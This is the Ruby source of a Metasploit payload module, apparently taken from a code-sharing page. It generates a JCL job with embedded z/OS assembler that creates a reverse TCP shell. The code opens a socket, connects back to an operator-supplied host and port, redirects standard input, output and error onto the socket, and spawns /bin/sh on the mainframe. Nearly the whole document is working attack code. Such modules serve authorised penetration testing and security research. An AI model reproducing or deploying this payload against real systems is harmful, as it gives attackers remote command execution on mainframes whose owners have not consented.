Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
# This payload has no ebcdic<->ascii translator built in.
5
# Therefore it must use a shell which does, like mainframe_shell
6
#
7
# this payload will spawn a reverse shell from z/os, when submitted
8
#  on the system as JCL to JES2
9
##
10

11

12
module MetasploitModule
13
  CachedSize = 8993
14
  include Msf::Payload::Single
15
  include Msf::Payload::Mainframe
16
  include Msf::Sessions::CommandShellOptions
17

18
  def initialize(info = {})
19
    super(merge_info(info,
20
                     'Name'          => 'Z/OS (MVS) Command Shell, Reverse TCP',
21
                     'Description'   => 'Provide JCL which creates a reverse shell
22
                       This implementation does not include ebcdic character translation,
23
                       so a client with translation capabilities is required.  MSF handles
24
                       this automatically.',
25
                     'Author'        => 'Bigendian Smalls',
26
                     'License'       => MSF_LICENSE,
27
                     'Platform'      => 'mainframe',
28
                     'Arch'          => ARCH_CMD,
29
                     'Handler'       => Msf::Handler::ReverseTcp,
30
                     'Session'       => Msf::Sessions::MainframeShell,
31
                     'PayloadType'   => 'cmd',
32
                     'RequiredCmd'   => 'jcl',
33
                     'Payload'       =>
34
      {
35
        'Offsets' => {},
36
        'Payload' => ''
37
      }))
38
    register_options(
39
      [
40
        # need these defaulted so we can manipulate them in command_string
41
        Opt::LHOST('0.0.0.0'),
42
        Opt::LPORT(4444),
43
        OptString.new('ACTNUM', [true, "Accounting info for JCL JOB card", "MSFUSER-ACCTING-INFO"]),
44
        OptString.new('PGMNAME', [true, "Programmer name for JCL JOB card", "programmer name"]),
45
        OptString.new('JCLASS', [true, "Job Class for JCL JOB card", "A"]),
46
        OptString.new('NOTIFY', [false, "Notify User for JCL JOB card", ""]),
47
        OptString.new('MSGCLASS', [true, "Message Class for JCL JOB card", "Z"]),
48
        OptString.new('MSGLEVEL', [true, "Message Level for JCL JOB card", "(0,0)"])
49
      ], self.class
50
    )
51
    register_advanced_options(
52
      [
53
        OptBool.new('NTFYUSR', [true, "Include NOTIFY Parm?", false]),
54
        OptString.new('JOBNAME', [true, "Job name for JCL JOB card", "DUMMY"])
55
      ],
56
      self.class
57
    )
58
  end
59

60
  ##
61
  # Construct Payload
62
  ##
63
  def generate(_opts = {})
64
    super + command_string
65
  end
66

67
  ##
68
  # Setup replacement vars and populate payload
69
  ##
70
  def command_string
71
    if (datastore['JOBNAME'] == "DUMMY") && !datastore['FTPUSER'].nil?
72
      datastore['JOBNAME'] = (datastore['FTPUSER'] + "1").strip.upcase
73
    end
74
    lhost = Rex::Socket.resolv_nbo(datastore['LHOST'])
75
    lhost = lhost.unpack("H*")[0]
76
    lport = datastore['LPORT']
77
    lport = lport.to_s.to_i.to_s(16).rjust(4, '0')
78

79
    jcl_jobcard +
80
      "//**************************************/\n" \
81
      "//*  SPAWN REVERSE SHELL FOR MSF MODULE*/\n" \
82
      "//**************************************/\n" \
83
      "//*\n" \
84
      "//STEP1      EXEC PROC=ASMACLG,PARM.L=(CALL)\n" \
85
      "//L.SYSLIB   DD  DSN=SYS1.CSSLIB,DISP=SHR\n" \
86
      "//C.SYSIN    DD  *,DLM=ZZ\n" \
87
      "         TITLE  'Spanws Reverse Shell'\n" \
88
      "SPAWNREV CSECT\n" \
89
      "SPAWNREV AMODE 31\n" \
90
      "SPAWNREV RMODE ANY\n" \
91
      "***********************************************************************\n" \
92
      "*        @SETUP registers and save areas                              *\n" \
93
      "***********************************************************************\n" \
94
      "         USING *,15\n" \
95
      "@SETUP0  B     @SETUP1\n" \
96
      "         DROP  15\n" \
97
      "         DS    0H                 # half word boundary\n" \
98
      "@SETUP1  STM   14,12,12(13)       # save our registers\n" \
99
      "         LR    2,13               # callers sa\n" \
100
      "         LR    8,15               # pgm base in R8\n" \
101
      "         USING @SETUP0,8          # R8 for base addressability\n" \
102
      "*************************************\n" \
103
      "* set up data area / addressability *\n" \
104
      "*************************************\n" \
105
      "         L     0,@DYNSIZE         # len of variable area\n" \
106
      "         GETMAIN RU,LV=(0)        # get data stg, len R0\n" \
107
      "         LR    13,1               # data address\n" \
108
      "         USING @DATA,13           # addressability for data area\n" \
109
      "         ST    2,@BACK            # store callers sa address\n" \
110
      "         ST    13,8(,2)           # store our data addr\n" \
111
      "         DS    0H                 # halfword boundaries\n" \
112
      "\n" \
113
      "***********************************************************************\n" \
114
      "*        BPX1SOC set up socket - inline                               *\n" \
115
      "***********************************************************************\n" \
116
      "         CALL  BPX1SOC,                                                X\n" \
117
      "               (DOM,TYPE,PROTO,DIM,CLIFD,                              X\n" \
118
      "               RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \
119
      "\n" \
120
      "*******************************\n" \
121
      "*  chk return code, 0 or exit *\n" \
122
      "*******************************\n" \
123
      "         LHI   15,2\n" \
124
      "         L     7,RTN_VAL\n" \
125
      "         CIB   7,0,7,EXITP        # R7 not 0? Time to exit\n" \
126
      "\n" \
127
      "***********************************************************************\n" \
128
      "*        BPX1CON (connect) connect to remote host - inline            *\n" \
129
      "***********************************************************************\n" \
130
      "         XC    SOCKADDR(16),SOCKADDR        # zero sock addr struct\n" \
131
      "         MVI   SOCK_FAMILY,AF_INET          # family inet\n" \
132
      "         MVI   SOCK_LEN,SOCK#LEN            # len of socket\n" \
133
      "         MVC   SOCK_SIN_PORT,CONNSOCK       # port to connect to\n" \
134
      "         MVC   SOCK_SIN_ADDR,CONNADDR       # address to connect to\n" \
135
      "         CALL  BPX1CON,                                                X\n" \
136
      "               (CLIFD,SOCKLEN,SOCKADDR,                                X\n" \
137
      "               RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \
138
      "*******************************\n" \
139
      "*  chk return code, 0 or exit *\n" \
140
      "*******************************\n" \
141
      "         LHI   15,3\n" \
142
      "         L     7,RTN_VAL\n" \
143
      "         CIB   7,0,7,EXITP        # R7 not 0? Time to exit\n" \
144
      "\n" \
145
      "*************************************************\n" \
146
      "* order of things to prep child pid             *\n" \
147
      "*  0) Dupe all 3 file desc of CLIFD             *\n" \
148
      "*  1) dupe parent read fd to std input          *\n" \
149
      "*************************************************\n" \
150
      "*******************\n" \
151
      "*****  STDIN  *****\n" \
152
      "*******************\n" \
153
      "         CALL  BPX1FCT,                                                X\n" \
154
      "               (CLIFD,                                                 X\n" \
155
      "               =A(F_DUPFD2),                                           X\n" \
156
      "               =A(F_STDI),                                             X\n" \
157
      "               RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \
158
      "****************************************************\n" \
159
      "*  chk return code here anything but -1 is ok      *\n" \
160
      "****************************************************\n" \
161
      "         LHI   15,4               # exit code for this func\n" \
162
      "         L     7,RTN_VAL          # set r7 to rtn val\n" \
163
      "         CIB   7,-1,8,EXITP       # R7 = -1 exit\n" \
164
      "\n" \
165
      "*******************\n" \
166
      "*****  STDOUT *****\n" \
167
      "*******************\n" \
168
      "         CALL  BPX1FCT,                                                X\n" \
169
      "               (CLIFD,                                                 X\n" \
170
      "               =A(F_DUPFD2),                                           X\n" \
171
      "               =A(F_STDO),                                             X\n" \
172
      "               RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \
173
      "****************************************************\n" \
174
      "*  chk return code here anything but -1 is ok      *\n" \
175
      "****************************************************\n" \
176
      "         LHI   15,5               # exit code for this func\n" \
177
      "         L     7,RTN_VAL          # set r7 to rtn val\n" \
178
      "         CIB   7,-1,8,EXITP       # R7 = -1 exit\n" \
179
      "\n" \
180
      "*******************\n" \
181
      "*****  STDERR *****\n" \
182
      "*******************\n" \
183
      "         CALL  BPX1FCT,                                                X\n" \
184
      "               (CLIFD,                                                 X\n" \
185
      "               =A(F_DUPFD2),                                           X\n" \
186
      "               =A(F_STDE),                                             X\n" \
187
      "               RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \
188
      "****************************************************\n" \
189
      "*  chk return code here anything but -1 is ok      *\n" \
190
      "****************************************************\n" \
191
      "         LHI   15,6               # exit code for this func\n" \
192
      "         L     7,RTN_VAL          # set r7 to rtn val\n" \
193
      "         CIB   7,-1,8,EXITP       # R7 = -1 exit\n" \
194
      "\n" \
195
      "***********************************************************************\n" \
196
      "*        BP1SPN (SPAWN) execute shell '/bin/sh'                       *\n" \
197
      "***********************************************************************\n" \
198
      "         XC    INHE(INHE#LENGTH),INHE   # clear inhe structure\n" \
199
      "         XI    INHEFLAGS0,INHESETPGROUP\n" \
200
      "         SPACE ,\n" \
201
      "         MVC   INHEEYE,=C'INHE'\n" \
202
      "         LH    0,TLEN\n" \
203
      "         STH   0,INHELENGTH\n" \
204
      "         LH    0,TVER\n" \
205
      "         STH   0,INHEVERSION\n" \
206
      "         CALL  BPX1SPN,                                                X\n" \
207
      "               (EXCMDL,EXCMD,EXARGC,EXARGLL,EXARGL,EXENVC,EXENVLL,     X\n" \
208
      "               EXENVL,FDCNT,FDLST,=A(INHE#LENGTH),INHE,RTN_VAL,        X\n" \
209
      "               RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \
210
      "         LHI   15,7               # exit code for this func\n" \
211
      "         L     7,RTN_VAL          # set r7 to rtn val\n" \
212
      "         CIB   7,-1,8,EXITP       # R7 = -1 exit\n" \
213
      "\n" \
214
      "****************************************************\n" \
215
      "* cleanup & exit preload R15 with exit code        *\n" \
216
      "****************************************************\n" \
217
      "         XR    15,15              # 4 FOR rc\n" \
218
      "EXITP    L     0,@DYNSIZE\n" \
219
      "         LR    1,13\n" \
220
      "         L     13,@BACK\n" \
221
      "         DROP  13\n" \
222
      "         FREEMAIN RU,LV=(0),A=(1) # Free storage\n" \
223
      "         L     14,12(,13)         # load R14\n" \
224
      "         LM    0,12,20(13)        # load 0-12\n" \
225
      "         BSM   0,14               # branch to caller\n" \
226
      "\n" \
227
      "****************************************************\n" \
228
      "* Constants and Variables                          *\n" \
229
      "****************************************************\n" \
230
      "         DS    0F                 # constants full word boundary\n" \
231
      "F_STDI   EQU   0\n" \
232
      "F_STDO   EQU   1\n" \
233
      "F_STDE   EQU   2\n" \
234
      "*************************\n" \
235
      "* Socket conn variables *         # functions used by pgm\n" \
236
      "*************************\n" \
237
      "CONNSOCK DC    XL2'#{lport}'    # LPORT\n" \
238
      "CONNADDR DC    XL4'#{lhost}'    # LHOST\n" \
239
      "DOM      DC    A(AF_INET)         # AF_INET = 2\n" \
240
      "TYPE     DC    A(SOCK#_STREAM)    # stream = 1\n" \
241
      "PROTO    DC    A(IPPROTO_IP)      # ip = 0\n" \
242
      "DIM      DC    A(SOCK#DIM_SOCKET) # dim_sock = 1\n" \
243
      "SOCKLEN  DC    A(SOCK#LEN+SOCK_SIN#LEN)\n" \
244
      "************************\n" \
245
      "* BPX1SPN vars *********\n" \
246
      "************************\n" \
247
      "EXCMD    DC    CL7'/bin/sh'       # command to exec\n" \
248
      "EXCMDL   DC    A(L'EXCMD)         # len of cmd to exec\n" \
249
      "EXARGC   DC    F'1'               # num of arguments\n" \
250
      "EXARG1   DC    CL2'sh'            # arg 1 to exec\n" \
251
      "EXARG1L  DC    A(L'EXARG1)        # len of arg1\n" \
252
      "EXARGL   DC    A(EXARG1)          # addr of argument list\n" \
253
      "EXARGLL  DC    A(EXARG1L)         # addr of arg len list\n" \
254
      "EXENVC   DC    F'0'               # env var count\n" \
255
      "EXENVL   DC    F'0'               # env var arg list addr\n" \
256
      "EXENVLL  DC    F'0'               # env var arg len addr\n" \
257
      "FDCNT    DC    F'0'               # field count s/b 0\n" \
258
      "FDLST    DC    F'0'               # field list addr s/b 0\n" \
259
      "TVER     DC    AL2(INHE#VER)\n" \
260
      "TLEN     DC    AL2(INHE#LENGTH)\n" \
261
      "         SPACE ,\n" \
262
      "@DYNSIZE DC    A(@ENDYN-@DATA)\n" \
263
      "***************************\n" \
264
      "***** end of constants ****\n" \
265
      "***************************\n" \
266
      "@DATA    DSECT ,\n" \
267
      "         DS    0D\n" \
268
      "PLIST    DS    16A\n" \
269
      "RTN_VAL  DS    F                  # return value\n" \
270
      "RTN_COD  DS    F                  # return code\n" \
271
      "RSN_COD  DS    F                  # reason code\n" \
272
      "CLIFD    DS    F                  # client fd\n" \
273
      "@BACK    DS    A\n" \
274
      "*\n" \
275
      "         BPXYSOCK   LIST=NO,DSECT=NO\n" \
276
      "         BPXYFCTL   LIST=NO,DSECT=NO\n" \
277
      "         BPXYINHE   LIST=NO,DSECT=NO\n" \
278
      "@ENDYN   EQU   *\n" \
279
      "@DATA#LEN EQU  *-@DATA\n" \
280
      "         BPXYCONS   LIST=NO\n" \
281
      "         END   SPAWNREV\n" \
282
      "ZZ\n" \
283
      "//*\n"
284
  end
285
end
286

287